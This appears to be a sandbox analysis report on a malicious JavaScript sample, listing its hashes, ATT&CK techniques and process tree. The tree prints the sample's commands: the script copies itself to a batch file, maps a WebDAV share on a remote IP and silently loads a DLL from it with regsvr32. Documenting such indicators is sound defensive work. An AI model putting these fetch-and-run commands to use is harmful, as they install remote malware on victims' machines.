3e0ab7ce7fb55bb3a6a69c318365543076ade023768307afe3b8b0cd79867323

Analysis

max time kernel
149s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20240704-en
resource tags

arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system
submitted
10/07/2024, 15:48

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

2641610749201874326.js
Size

5KB
MD5

f20233bda1fd3e53a40e05a5a9d236e7
SHA1

5215f5c34a368d1e9102fc97aef2d97e4bdefcb2
SHA256

3e0ab7ce7fb55bb3a6a69c318365543076ade023768307afe3b8b0cd79867323
SHA512

34805650d0a922446cd8a0941df449ff733be3c4a1be8a3f7336d2b0432756e1e5c665f58c347485b37307fb6c1470328a21df9abe6671ff7c3850fc1a3a534e
SSDEEP

96:HLJBFmeFOXWLrajCJEBTO99x4EBTO99x0cJ5PIDxwIYA43N9C3mkk3:9XmexL2e2BqHBq0EIDxO3zbkk3

Score

7^/10

execution

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1403246978-718555486-3105247137-1000\Control Panel\International\Geo\Nation	wscript.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1540 wrote to memory of 4920	1540	wscript.exe	82
PID 1540 wrote to memory of 4920	1540	wscript.exe	82
PID 4920 wrote to memory of 1564	4920	cmd.exe	85
PID 4920 wrote to memory of 1564	4920	cmd.exe	85
PID 4920 wrote to memory of 2392	4920	cmd.exe	87
PID 4920 wrote to memory of 2392	4920	cmd.exe	87

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\2641610749201874326.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1540
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\2641610749201874326.js" "C:\Users\Admin\\fvqutl.bat" && "C:\Users\Admin\\fvqutl.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4920
- - C:\Windows\system32\net.exe
    net use \\45.9.74.13@8888\DavWWWRoot\
    3⤵
    PID:1564
- - C:\Windows\system32\regsvr32.exe
    regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\850.dll
    3⤵
    PID:2392

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\fvqutl.bat

Filesize
5KB

MD5
f20233bda1fd3e53a40e05a5a9d236e7

SHA1
5215f5c34a368d1e9102fc97aef2d97e4bdefcb2

SHA256
3e0ab7ce7fb55bb3a6a69c318365543076ade023768307afe3b8b0cd79867323

SHA512
34805650d0a922446cd8a0941df449ff733be3c4a1be8a3f7336d2b0432756e1e5c665f58c347485b37307fb6c1470328a21df9abe6671ff7c3850fc1a3a534e

Download Submit